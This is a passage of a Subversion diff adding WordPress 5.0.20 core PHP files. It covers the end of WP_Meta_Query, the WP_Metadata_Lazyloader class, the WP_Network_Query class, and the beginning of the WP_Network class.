+					$meta_compare = '=';
+					$where = $wpdb->prepare( '%s', $meta_value );
+					break;
+
+				// 'value' is ignored for NOT EXISTS.
+				case 'NOT EXISTS' :
+					$where = '';
+					break;
+
+				default :
+					$where = $wpdb->prepare( '%s', $meta_value );
+					break;
+
+			}
+
+			if ( $where ) {
+				if ( 'CHAR' === $meta_type ) {
+					$sql_chunks['where'][] = "$alias.meta_value {$meta_compare} {$where}";
+				} else {
+					$sql_chunks['where'][] = "CAST($alias.meta_value AS {$meta_type}) {$meta_compare} {$where}";
+				}
+			}
+		}
+
+		/*
+		 * Multiple WHERE clauses (for meta_key and meta_value) should
+		 * be joined in parentheses.
+		 */
+		if ( 1 < count( $sql_chunks['where'] ) ) {
+			$sql_chunks['where'] = array( '( ' . implode( ' AND ', $sql_chunks['where'] ) . ' )' );
+		}
+
+		return $sql_chunks;
+	}
+
+	/**
+	 * Get a flattened list of sanitized meta clauses.
+	 *
+	 * This array should be used for clause lookup, as when the table alias and CAST type must be determined for
+	 * a value of 'orderby' corresponding to a meta clause.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @return array Meta clauses.
+	 */
+	public function get_clauses() {
+		return $this->clauses;
+	}
+
+	/**
+	 * Identify an existing table alias that is compatible with the current
+	 * query clause.
+	 *
+	 * We avoid unnecessary table joins by allowing each clause to look for
+	 * an existing table alias that is compatible with the query that it
+	 * needs to perform.
+	 *
+	 * An existing alias is compatible if (a) it is a sibling of `$clause`
+	 * (ie, it's under the scope of the same relation), and (b) the combination
+	 * of operator and relation between the clauses allows for a shared table join.
+	 * In the case of WP_Meta_Query, this only applies to 'IN' clauses that are
+	 * connected by the relation 'OR'.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param  array       $clause       Query clause.
+	 * @param  array       $parent_query Parent query of $clause.
+	 * @return string|bool Table alias if found, otherwise false.
+	 */
+	protected function find_compatible_table_alias( $clause, $parent_query ) {
+		$alias = false;
+
+		foreach ( $parent_query as $sibling ) {
+			// If the sibling has no alias yet, there's nothing to check.
+			if ( empty( $sibling['alias'] ) ) {
+				continue;
+			}
+
+			// We're only interested in siblings that are first-order clauses.
+			if ( ! is_array( $sibling ) || ! $this->is_first_order_clause( $sibling ) ) {
+				continue;
+			}
+
+			$compatible_compares = array();
+
+			// Clauses connected by OR can share joins as long as they have "positive" operators.
+			if ( 'OR' === $parent_query['relation'] ) {
+				$compatible_compares = array( '=', 'IN', 'BETWEEN', 'LIKE', 'REGEXP', 'RLIKE', '>', '>=', '<', '<=' );
+
+			// Clauses joined by AND with "negative" operators share a join only if they also share a key.
+			} elseif ( isset( $sibling['key'] ) && isset( $clause['key'] ) && $sibling['key'] === $clause['key'] ) {
+				$compatible_compares = array( '!=', 'NOT IN', 'NOT LIKE' );
+			}
+
+			$clause_compare  = strtoupper( $clause['compare'] );
+			$sibling_compare = strtoupper( $sibling['compare'] );
+			if ( in_array( $clause_compare, $compatible_compares ) && in_array( $sibling_compare, $compatible_compares ) ) {
+				$alias = preg_replace( '/\W/', '_', $sibling['alias'] );
+				break;
+			}
+		}
+
+		/**
+		 * Filters the table alias identified as compatible with the current clause.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param string|bool $alias        Table alias, or false if none was found.
+		 * @param array       $clause       First-order query clause.
+		 * @param array       $parent_query Parent of $clause.
+		 * @param object      $this         WP_Meta_Query object.
+		 */
+		return apply_filters( 'meta_query_find_compatible_table_alias', $alias, $clause, $parent_query, $this ) ;
+	}
+
+	/**
+	 * Checks whether the current query has any OR relations.
+	 *
+	 * In some cases, the presence of an OR relation somewhere in the query will require
+	 * the use of a `DISTINCT` or `GROUP BY` keyword in the `SELECT` clause. The current
+	 * method can be used in these cases to determine whether such a clause is necessary.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return bool True if the query contains any `OR` relations, otherwise false.
+	 */
+	public function has_or_relation() {
+		return $this->has_or_relation;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-metadata-lazyloader.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-metadata-lazyloader.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-metadata-lazyloader.php	(revision 56912)
@@ -0,0 +1,170 @@
+<?php
+/**
+ * Meta API: WP_Metadata_Lazyloader class
+ *
+ * @package WordPress
+ * @subpackage Meta
+ * @since 4.5.0
+ */
+
+/**
+ * Core class used for lazy-loading object metadata.
+ *
+ * When loading many objects of a given type, such as posts in a WP_Query loop, it often makes
+ * sense to prime various metadata caches at the beginning of the loop. This means fetching all
+ * relevant metadata with a single database query, a technique that has the potential to improve
+ * performance dramatically in some cases.
+ *
+ * In cases where the given metadata may not even be used in the loop, we can improve performance
+ * even more by only priming the metadata cache for affected items the first time a piece of metadata
+ * is requested - ie, by lazy-loading it. So, for example, comment meta may not be loaded into the
+ * cache in the comments section of a post until the first time get_comment_meta() is called in the
+ * context of the comment loop.
+ *
+ * WP uses the WP_Metadata_Lazyloader class to queue objects for metadata cache priming. The class
+ * then detects the relevant get_*_meta() function call, and queries the metadata of all queued objects.
+ *
+ * Do not access this class directly. Use the wp_metadata_lazyloader() function.
+ *
+ * @since 4.5.0
+ */
+class WP_Metadata_Lazyloader {
+	/**
+	 * Pending objects queue.
+	 *
+	 * @since 4.5.0
+	 * @var array
+	 */
+	protected $pending_objects;
+
+	/**
+	 * Settings for supported object types.
+	 *
+	 * @since 4.5.0
+	 * @var array
+	 */
+	protected $settings = array();
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.5.0
+	 */
+	public function __construct() {
+		$this->settings = array(
+			'term' => array(
+				'filter'   => 'get_term_metadata',
+				'callback' => array( $this, 'lazyload_term_meta' ),
+			),
+			'comment' => array(
+				'filter'   => 'get_comment_metadata',
+				'callback' => array( $this, 'lazyload_comment_meta' ),
+			),
+		);
+	}
+
+	/**
+	 * Adds objects to the metadata lazy-load queue.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param string $object_type Type of object whose meta is to be lazy-loaded. Accepts 'term' or 'comment'.
+	 * @param array  $object_ids  Array of object IDs.
+	 * @return bool|WP_Error True on success, WP_Error on failure.
+	 */
+	public function queue_objects( $object_type, $object_ids ) {
+		if ( ! isset( $this->settings[ $object_type ] ) ) {
+			return new WP_Error( 'invalid_object_type', __( 'Invalid object type' ) );
+		}
+
+		$type_settings = $this->settings[ $object_type ];
+
+		if ( ! isset( $this->pending_objects[ $object_type ] ) ) {
+			$this->pending_objects[ $object_type ] = array();
+		}
+
+		foreach ( $object_ids as $object_id ) {
+			// Keyed by ID for faster lookup.
+			if ( ! isset( $this->pending_objects[ $object_type ][ $object_id ] ) ) {
+				$this->pending_objects[ $object_type ][ $object_id ] = 1;
+			}
+		}
+
+		add_filter( $type_settings['filter'], $type_settings['callback'] );
+
+		/**
+		 * Fires after objects are added to the metadata lazy-load queue.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param array                  $object_ids  Object IDs.
+		 * @param string                 $object_type Type of object being queued.
+		 * @param WP_Metadata_Lazyloader $lazyloader  The lazy-loader object.
+		 */
+		do_action( 'metadata_lazyloader_queued_objects', $object_ids, $object_type, $this );
+	}
+
+	/**
+	 * Resets lazy-load queue for a given object type.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param string $object_type Object type. Accepts 'comment' or 'term'.
+	 * @return bool|WP_Error True on success, WP_Error on failure.
+	 */
+	public function reset_queue( $object_type ) {
+		if ( ! isset( $this->settings[ $object_type ] ) ) {
+			return new WP_Error( 'invalid_object_type', __( 'Invalid object type' ) );
+		}
+
+		$type_settings = $this->settings[ $object_type ];
+
+		$this->pending_objects[ $object_type ] = array();
+		remove_filter( $type_settings['filter'], $type_settings['callback'] );
+	}
+
+	/**
+	 * Lazy-loads term meta for queued terms.
+	 *
+	 * This method is public so that it can be used as a filter callback. As a rule, there
+	 * is no need to invoke it directly.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param mixed $check The `$check` param passed from the 'get_term_metadata' hook.
+	 * @return mixed In order not to short-circuit `get_metadata()`. Generally, this is `null`, but it could be
+	 *               another value if filtered by a plugin.
+	 */
+	public function lazyload_term_meta( $check ) {
+		if ( ! empty( $this->pending_objects['term'] ) ) {
+			update_termmeta_cache( array_keys( $this->pending_objects['term'] ) );
+
+			// No need to run again for this set of terms.
+			$this->reset_queue( 'term' );
+		}
+
+		return $check;
+	}
+
+	/**
+	 * Lazy-loads comment meta for queued comments.
+	 *
+	 * This method is public so that it can be used as a filter callback. As a rule, there is no need to invoke it
+	 * directly, from either inside or outside the `WP_Query` object.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param mixed $check The `$check` param passed from the {@see 'get_comment_metadata'} hook.
+	 * @return mixed The original value of `$check`, so as not to short-circuit `get_comment_metadata()`.
+	 */
+	public function lazyload_comment_meta( $check ) {
+		if ( ! empty( $this->pending_objects['comment'] ) ) {
+			update_meta_cache( 'comment', array_keys( $this->pending_objects['comment'] ) );
+
+			// No need to run again for this set of comments.
+			$this->reset_queue( 'comment' );
+		}
+
+		return $check;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-network-query.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-network-query.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-network-query.php	(revision 56912)
@@ -0,0 +1,555 @@
+<?php
+/**
+ * Network API: WP_Network_Query class
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 4.6.0
+ */
+
+/**
+ * Core class used for querying networks.
+ *
+ * @since 4.6.0
+ *
+ * @see WP_Network_Query::__construct() for accepted arguments.
+ */
+class WP_Network_Query {
+
+	/**
+	 * SQL for database query.
+	 *
+	 * @since 4.6.0
+	 * @var string
+	 */
+	public $request;
+
+	/**
+	 * SQL query clauses.
+	 *
+	 * @since 4.6.0
+	 * @var array
+	 */
+	protected $sql_clauses = array(
+		'select'  => '',
+		'from'    => '',
+		'where'   => array(),
+		'groupby' => '',
+		'orderby' => '',
+		'limits'  => '',
+	);
+
+	/**
+	 * Query vars set by the user.
+	 *
+	 * @since 4.6.0
+	 * @var array
+	 */
+	public $query_vars;
+
+	/**
+	 * Default values for query vars.
+	 *
+	 * @since 4.6.0
+	 * @var array
+	 */
+	public $query_var_defaults;
+
+	/**
+	 * List of networks located by the query.
+	 *
+	 * @since 4.6.0
+	 * @var array
+	 */
+	public $networks;
+
+	/**
+	 * The amount of found networks for the current query.
+	 *
+	 * @since 4.6.0
+	 * @var int
+	 */
+	public $found_networks = 0;
+
+	/**
+	 * The number of pages.
+	 *
+	 * @since 4.6.0
+	 * @var int
+	 */
+	public $max_num_pages = 0;
+
+	/**
+	 * Constructor.
+	 *
+	 * Sets up the network query, based on the query vars passed.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string|array $query {
+	 *     Optional. Array or query string of network query parameters. Default empty.
+	 *
+	 *     @type array        $network__in          Array of network IDs to include. Default empty.
+	 *     @type array        $network__not_in      Array of network IDs to exclude. Default empty.
+ 	 *     @type bool         $count                Whether to return a network count (true) or array of network objects.
+ 	 *                                              Default false.
+ 	 *     @type string       $fields               Network fields to return. Accepts 'ids' (returns an array of network IDs)
+ 	 *                                              or empty (returns an array of complete network objects). Default empty.
+ 	 *     @type int          $number               Maximum number of networks to retrieve. Default empty (no limit).
+ 	 *     @type int          $offset               Number of networks to offset the query. Used to build LIMIT clause.
+ 	 *                                              Default 0.
+ 	 *     @type bool         $no_found_rows        Whether to disable the `SQL_CALC_FOUND_ROWS` query. Default true.
+ 	 *     @type string|array $orderby              Network status or array of statuses. Accepts 'id', 'domain', 'path',
+ 	 *                                              'domain_length', 'path_length' and 'network__in'. Also accepts false,
+ 	 *                                              an empty array, or 'none' to disable `ORDER BY` clause. Default 'id'.
+ 	 *     @type string       $order                How to order retrieved networks. Accepts 'ASC', 'DESC'. Default 'ASC'.
+ 	 *     @type string       $domain               Limit results to those affiliated with a given domain. Default empty.
+ 	 *     @type array        $domain__in           Array of domains to include affiliated networks for. Default empty.
+ 	 *     @type array        $domain__not_in       Array of domains to exclude affiliated networks for. Default empty.
+ 	 *     @type string       $path                 Limit results to those affiliated with a given path. Default empty.
+ 	 *     @type array        $path__in             Array of paths to include affiliated networks for. Default empty.
+ 	 *     @type array        $path__not_in         Array of paths to exclude affiliated networks for. Default empty.
+ 	 *     @type string       $search               Search term(s) to retrieve matching networks for. Default empty.
+	 *     @type bool         $update_network_cache Whether to prime the cache for found networks. Default true.
+	 * }
+	 */
+	public function __construct( $query = '' ) {
+		$this->query_var_defaults = array(
+			'network__in'          => '',
+			'network__not_in'      => '',
+			'count'                => false,
+			'fields'               => '',
+			'number'               => '',
+			'offset'               => '',
+			'no_found_rows'        => true,
+			'orderby'              => 'id',
+			'order'                => 'ASC',
+			'domain'               => '',
+			'domain__in'           => '',
+			'domain__not_in'       => '',
+			'path'                 => '',
+			'path__in'             => '',
+			'path__not_in'         => '',
+			'search'               => '',
+			'update_network_cache' => true,
+		);
+
+		if ( ! empty( $query ) ) {
+			$this->query( $query );
+		}
+	}
+
+	/**
+	 * Parses arguments passed to the network query with default query parameters.
+	 *
+	 * @since 4.6.0
+	 *
+	 *
+	 * @param string|array $query WP_Network_Query arguments. See WP_Network_Query::__construct()
+	 */
+	public function parse_query( $query = '' ) {
+		if ( empty( $query ) ) {
+			$query = $this->query_vars;
+		}
+
+		$this->query_vars = wp_parse_args( $query, $this->query_var_defaults );
+
+		/**
+		 * Fires after the network query vars have been parsed.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param WP_Network_Query $this The WP_Network_Query instance (passed by reference).
+		 */
+		do_action_ref_array( 'parse_network_query', array( &$this ) );
+	}
+
+	/**
+	 * Sets up the WordPress query for retrieving networks.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string|array $query Array or URL query string of parameters.
+	 * @return array|int List of WP_Network objects, a list of network ids when 'fields' is set to 'ids',
+	 *                   or the number of networks when 'count' is passed as a query var.
+	 */
+	public function query( $query ) {
+		$this->query_vars = wp_parse_args( $query );
+		return $this->get_networks();
+	}
+
+	/**
+	 * Gets a list of networks matching the query vars.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @return array|int List of WP_Network objects, a list of network ids when 'fields' is set to 'ids',
+	 *                   or the number of networks when 'count' is passed as a query var.
+	 */
+	public function get_networks() {
+		$this->parse_query();
+
+		/**
+		 * Fires before networks are retrieved.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param WP_Network_Query $this Current instance of WP_Network_Query (passed by reference).
+		 */
+		do_action_ref_array( 'pre_get_networks', array( &$this ) );
+
+		// $args can include anything. Only use the args defined in the query_var_defaults to compute the key.
+		$_args = wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) );
+
+		// Ignore the $fields argument as the queried result will be the same regardless.
+		unset( $_args['fields'] );
+
+		$key = md5( serialize( $_args ) );
+		$last_changed = wp_cache_get_last_changed( 'networks' );
+
+		$cache_key = "get_network_ids:$key:$last_changed";
+		$cache_value = wp_cache_get( $cache_key, 'networks' );
+
+		if ( false === $cache_value ) {
+			$network_ids = $this->get_network_ids();
+			if ( $network_ids ) {
+				$this->set_found_networks();
+			}
+
+			$cache_value = array(
+				'network_ids' => $network_ids,
+				'found_networks' => $this->found_networks,
+			);
+			wp_cache_add( $cache_key, $cache_value, 'networks' );
+		} else {
+			$network_ids = $cache_value['network_ids'];
+			$this->found_networks = $cache_value['found_networks'];
+		}
+
+		if ( $this->found_networks && $this->query_vars['number'] ) {
+			$this->max_num_pages = ceil( $this->found_networks / $this->query_vars['number'] );
+		}
+
+		// If querying for a count only, there's nothing more to do.
+		if ( $this->query_vars['count'] ) {
+			// $network_ids is actually a count in this case.
+			return intval( $network_ids );
+		}
+
+		$network_ids = array_map( 'intval', $network_ids );
+
+		if ( 'ids' == $this->query_vars['fields'] ) {
+			$this->networks = $network_ids;
+			return $this->networks;
+		}
+
+		if ( $this->query_vars['update_network_cache'] ) {
+			_prime_network_caches( $network_ids );
+		}
+
+		// Fetch full network objects from the primed cache.
+		$_networks = array();
+		foreach ( $network_ids as $network_id ) {
+			if ( $_network = get_network( $network_id ) ) {
+				$_networks[] = $_network;
+			}
+		}
+
+		/**
+		 * Filters the network query results.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param array            $_networks An array of WP_Network objects.
+		 * @param WP_Network_Query $this      Current instance of WP_Network_Query (passed by reference).
+		 */
+		$_networks = apply_filters_ref_array( 'the_networks', array( $_networks, &$this ) );
+
+		// Convert to WP_Network instances
+		$this->networks = array_map( 'get_network', $_networks );
+
+		return $this->networks;
+	}
+
+	/**
+	 * Used internally to get a list of network IDs matching the query vars.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @return int|array A single count of network IDs if a count query. An array of network IDs if a full query.
+	 */
+	protected function get_network_ids() {
+		global $wpdb;
+
+		$order = $this->parse_order( $this->query_vars['order'] );
+
+		// Disable ORDER BY with 'none', an empty array, or boolean false.
+		if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) {
+			$orderby = '';
+		} elseif ( ! empty( $this->query_vars['orderby'] ) ) {
+			$ordersby = is_array( $this->query_vars['orderby'] ) ?
+				$this->query_vars['orderby'] :
+				preg_split( '/[,\s]/', $this->query_vars['orderby'] );
+
+			$orderby_array = array();
+			foreach ( $ordersby as $_key => $_value ) {
+				if ( ! $_value ) {
+					continue;
+				}
+
+				if ( is_int( $_key ) ) {
+					$_orderby = $_value;
+					$_order = $order;
+				} else {
+					$_orderby = $_key;
+					$_order = $_value;
+				}
+
+				$parsed = $this->parse_orderby( $_orderby );
+
+				if ( ! $parsed ) {
+					continue;
+				}
+
+				if ( 'network__in' === $_orderby ) {
+					$orderby_array[] = $parsed;
+					continue;
+				}
+
+				$orderby_array[] = $parsed . ' ' . $this->parse_order( $_order );
+			}
+
+			$orderby = implode( ', ', $orderby_array );
+		} else {
+			$orderby = "$wpdb->site.id $order";
+		}
+
+		$number = absint( $this->query_vars['number'] );
+		$offset = absint( $this->query_vars['offset'] );
+		$limits = '';
+
+		if ( ! empty( $number ) ) {
+			if ( $offset ) {
+				$limits = 'LIMIT ' . $offset . ',' . $number;
+			} else {
+				$limits = 'LIMIT ' . $number;
+			}
+		}
+
+		if ( $this->query_vars['count'] ) {
+			$fields = 'COUNT(*)';
+		} else {
+			$fields = "$wpdb->site.id";
+		}
+
+		// Parse network IDs for an IN clause.
+		if ( ! empty( $this->query_vars['network__in'] ) ) {
+			$this->sql_clauses['where']['network__in'] = "$wpdb->site.id IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['network__in'] ) ) . ' )';
+		}
+
+		// Parse network IDs for a NOT IN clause.
+		if ( ! empty( $this->query_vars['network__not_in'] ) ) {
+			$this->sql_clauses['where']['network__not_in'] = "$wpdb->site.id NOT IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['network__not_in'] ) ) . ' )';
+		}
+
+		if ( ! empty( $this->query_vars['domain'] ) ) {
+			$this->sql_clauses['where']['domain'] = $wpdb->prepare( "$wpdb->site.domain = %s", $this->query_vars['domain'] );
+		}
+
+		// Parse network domain for an IN clause.
+		if ( is_array( $this->query_vars['domain__in'] ) ) {
+			$this->sql_clauses['where']['domain__in'] = "$wpdb->site.domain IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__in'] ) ) . "' )";
+		}
+
+		// Parse network domain for a NOT IN clause.
+		if ( is_array( $this->query_vars['domain__not_in'] ) ) {
+			$this->sql_clauses['where']['domain__not_in'] = "$wpdb->site.domain NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__not_in'] ) ) . "' )";
+		}
+
+		if ( ! empty( $this->query_vars['path'] ) ) {
+			$this->sql_clauses['where']['path'] = $wpdb->prepare( "$wpdb->site.path = %s", $this->query_vars['path'] );
+		}
+
+		// Parse network path for an IN clause.
+		if ( is_array( $this->query_vars['path__in'] ) ) {
+			$this->sql_clauses['where']['path__in'] = "$wpdb->site.path IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__in'] ) ) . "' )";
+		}
+
+		// Parse network path for a NOT IN clause.
+		if ( is_array( $this->query_vars['path__not_in'] ) ) {
+			$this->sql_clauses['where']['path__not_in'] = "$wpdb->site.path NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__not_in'] ) ) . "' )";
+		}
+
+		// Falsey search strings are ignored.
+		if ( strlen( $this->query_vars['search'] ) ) {
+			$this->sql_clauses['where']['search'] = $this->get_search_sql(
+				$this->query_vars['search'],
+				array( "$wpdb->site.domain", "$wpdb->site.path" )
+			);
+		}
+
+		$join = '';
+
+		$where = implode( ' AND ', $this->sql_clauses['where'] );
+
+		$groupby = '';
+
+		$pieces = array( 'fields', 'join', 'where', 'orderby', 'limits', 'groupby' );
+
+		/**
+		 * Filters the network query clauses.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param array            $pieces A compacted array of network query clauses.
+		 * @param WP_Network_Query $this   Current instance of WP_Network_Query (passed by reference).
+		 */
+		$clauses = apply_filters_ref_array( 'networks_clauses', array( compact( $pieces ), &$this ) );
+
+		$fields = isset( $clauses['fields'] ) ? $clauses['fields'] : '';
+		$join = isset( $clauses['join'] ) ? $clauses['join'] : '';
+		$where = isset( $clauses['where'] ) ? $clauses['where'] : '';
+		$orderby = isset( $clauses['orderby'] ) ? $clauses['orderby'] : '';
+		$limits = isset( $clauses['limits'] ) ? $clauses['limits'] : '';
+		$groupby = isset( $clauses['groupby'] ) ? $clauses['groupby'] : '';
+
+		if ( $where ) {
+			$where = 'WHERE ' . $where;
+		}
+
+		if ( $groupby ) {
+			$groupby = 'GROUP BY ' . $groupby;
+		}
+
+		if ( $orderby ) {
+			$orderby = "ORDER BY $orderby";
+		}
+
+		$found_rows = '';
+		if ( ! $this->query_vars['no_found_rows'] ) {
+			$found_rows = 'SQL_CALC_FOUND_ROWS';
+		}
+
+		$this->sql_clauses['select']  = "SELECT $found_rows $fields";
+		$this->sql_clauses['from']    = "FROM $wpdb->site $join";
+		$this->sql_clauses['groupby'] = $groupby;
+		$this->sql_clauses['orderby'] = $orderby;
+		$this->sql_clauses['limits']  = $limits;
+
+		$this->request = "{$this->sql_clauses['select']} {$this->sql_clauses['from']} {$where} {$this->sql_clauses['groupby']} {$this->sql_clauses['orderby']} {$this->sql_clauses['limits']}";
+
+		if ( $this->query_vars['count'] ) {
+			return intval( $wpdb->get_var( $this->request ) );
+		}
+
+		$network_ids = $wpdb->get_col( $this->request );
+
+		return array_map( 'intval', $network_ids );
+	}
+
+	/**
+	 * Populates found_networks and max_num_pages properties for the current query
+	 * if the limit clause was used.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 */
+	private function set_found_networks() {
+		global $wpdb;
+
+		if ( $this->query_vars['number'] && ! $this->query_vars['no_found_rows'] ) {
+			/**
+			 * Filters the query used to retrieve found network count.
+			 *
+			 * @since 4.6.0
+			 *
+			 * @param string           $found_networks_query SQL query. Default 'SELECT FOUND_ROWS()'.
+			 * @param WP_Network_Query $network_query        The `WP_Network_Query` instance.
+			 */
+			$found_networks_query = apply_filters( 'found_networks_query', 'SELECT FOUND_ROWS()', $this );
+
+			$this->found_networks = (int) $wpdb->get_var( $found_networks_query );
+		}
+	}
+
+	/**
+	 * Used internally to generate an SQL string for searching across multiple columns.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global wpdb  $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $string  Search string.
+	 * @param array  $columns Columns to search.
+	 *
+	 * @return string Search SQL.
+	 */
+	protected function get_search_sql( $string, $columns ) {
+		global $wpdb;
+
+		$like = '%' . $wpdb->esc_like( $string ) . '%';
+
+		$searches = array();
+		foreach ( $columns as $column ) {
+			$searches[] = $wpdb->prepare( "$column LIKE %s", $like );
+		}
+
+		return '(' . implode( ' OR ', $searches ) . ')';
+	}
+
+	/**
+	 * Parses and sanitizes 'orderby' keys passed to the network query.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $orderby Alias for the field to order by.
+	 * @return string|false Value to used in the ORDER clause. False otherwise.
+	 */
+	protected function parse_orderby( $orderby ) {
+		global $wpdb;
+
+		$allowed_keys = array(
+			'id',
+			'domain',
+			'path',
+		);
+
+		$parsed = false;
+		if ( $orderby == 'network__in' ) {
+			$network__in = implode( ',', array_map( 'absint', $this->query_vars['network__in'] ) );
+			$parsed = "FIELD( {$wpdb->site}.id, $network__in )";
+		} elseif ( $orderby == 'domain_length' || $orderby == 'path_length' ) {
+			$field = substr( $orderby, 0, -7 );
+			$parsed = "CHAR_LENGTH($wpdb->site.$field)";
+		} elseif ( in_array( $orderby, $allowed_keys ) ) {
+			$parsed = "$wpdb->site.$orderby";
+		}
+
+		return $parsed;
+	}
+
+	/**
+	 * Parses an 'order' query variable and cast it to 'ASC' or 'DESC' as necessary.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $order The 'order' query variable.
+	 * @return string The sanitized 'order' query variable.
+	 */
+	protected function parse_order( $order ) {
+		if ( ! is_string( $order ) || empty( $order ) ) {
+			return 'ASC';
+		}
+
+		if ( 'ASC' === strtoupper( $order ) ) {
+			return 'ASC';
+		} else {
+			return 'DESC';
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-network.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-network.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-network.php	(revision 56912)
@@ -0,0 +1,465 @@
+<?php
+/**
+ * Network API: WP_Network class
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used for interacting with a multisite network.
+ *
+ * This class is used during load to populate the `$current_site` global and
+ * setup the current network.
+ *
+ * This class is most useful in WordPress multi-network installations where the
+ * ability to interact with any network of sites is required.
+ *
+ * @since 4.4.0
+ *
+ * @property int $id
+ * @property int $site_id
+ */
+class WP_Network {
+
+	/**
+	 * Network ID.
+	 *
+	 * @since 4.4.0
+	 * @since 4.6.0 Converted from public to private to explicitly enable more intuitive
+	 *              access via magic methods. As part of the access change, the type was
+	 *              also changed from `string` to `int`.
+	 * @var int
+	 */
+	private $id;
+
+	/**
+	 * Domain of the network.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $domain = '';
+
+	/**
+	 * Path of the network.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $path = '';
+
+	/**
+	 * The ID of the network's main site.
+	 *
+	 * Named "blog" vs. "site" for legacy reasons. A main site is mapped to
+	 * the network when the network is created.
+	 *
+	 * A numeric string, for compatibility reasons.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	private $blog_id = '0';
+
+	/**
+	 * Domain used to set cookies for this network.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $cookie_domain = '';
+
+	/**
+	 * Name of this network.
+	 *
+	 * Named "site" vs. "network" for legacy reasons.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $site_name = '';
+
+	/**
+	 * Retrieve a network from the database by its ID.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param int $network_id The ID of the network to retrieve.
+	 * @return WP_Network|bool The network's object if found. False if not.
+	 */
+	public static function get_instance( $network_id ) {
+		global $wpdb;
+
+		$network_id = (int) $network_id;
+		if ( ! $network_id ) {
+			return false;
+		}
+
+		$_network = wp_cache_get( $network_id, 'networks' );
+
+		if ( ! $_network ) {
+			$_network = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->site} WHERE id = %d LIMIT 1", $network_id ) );
+
+			if ( empty( $_network ) || is_wp_error( $_network ) ) {
+				return false;
+			}
+
+			wp_cache_add( $network_id, $_network, 'networks' );
+		}
+
+		return new WP_Network( $_network );
+	}
+
+	/**
+	 * Create a new WP_Network object.
+	 *
+	 * Will populate object properties from the object provided and assign other
+	 * default properties based on that information.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param WP_Network|object $network A network object.
+	 */
+	public function __construct( $network ) {
+		foreach( get_object_vars( $network ) as $key => $value ) {
+			$this->$key = $value;
+		}
+
+		$this->_set_site_name();
+		$this->_set_cookie_domain();
+	}
+
+	/**
+	 * Getter.
+	 *
+	 * Allows current multisite naming conventions when getting properties.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $key Property to get.
+	 * @return mixed Value of the property. Null if not available.
+	 */
+	public function __get( $key ) {
+		switch ( $key ) {
+			case 'id':
+				return (int) $this->id;
+			case 'blog_id':
+				return (string) $this->get_main_site_id();
+			case 'site_id':
+				return $this->get_main_site_id();
+		}
+
+		return null;
+	}
+
+	/**
+	 * Isset-er.
+	 *
+	 * Allows current multisite naming conventions when checking for properties.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $key Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $key ) {
+		switch ( $key ) {
+			case 'id':
+			case 'blog_id':
+			case 'site_id':
+				return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Setter.
+	 *
+	 * Allows current multisite naming conventions while setting properties.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $key   Property to set.
+	 * @param mixed  $value Value to assign to the property.
+	 */
+	public function __set( $key, $value ) {
+		switch ( $key ) {
+			case 'id':
+				$this->id = (int) $value;
+				break;
+			case 'blog_id':
+			case 'site_id':
+				$this->blog_id = (string) $value;
+				break;
+			default:
+				$this->$key = $value;
+		}
+	}
+
+	/**
+	 * Returns the main site ID for the network.
+	 *
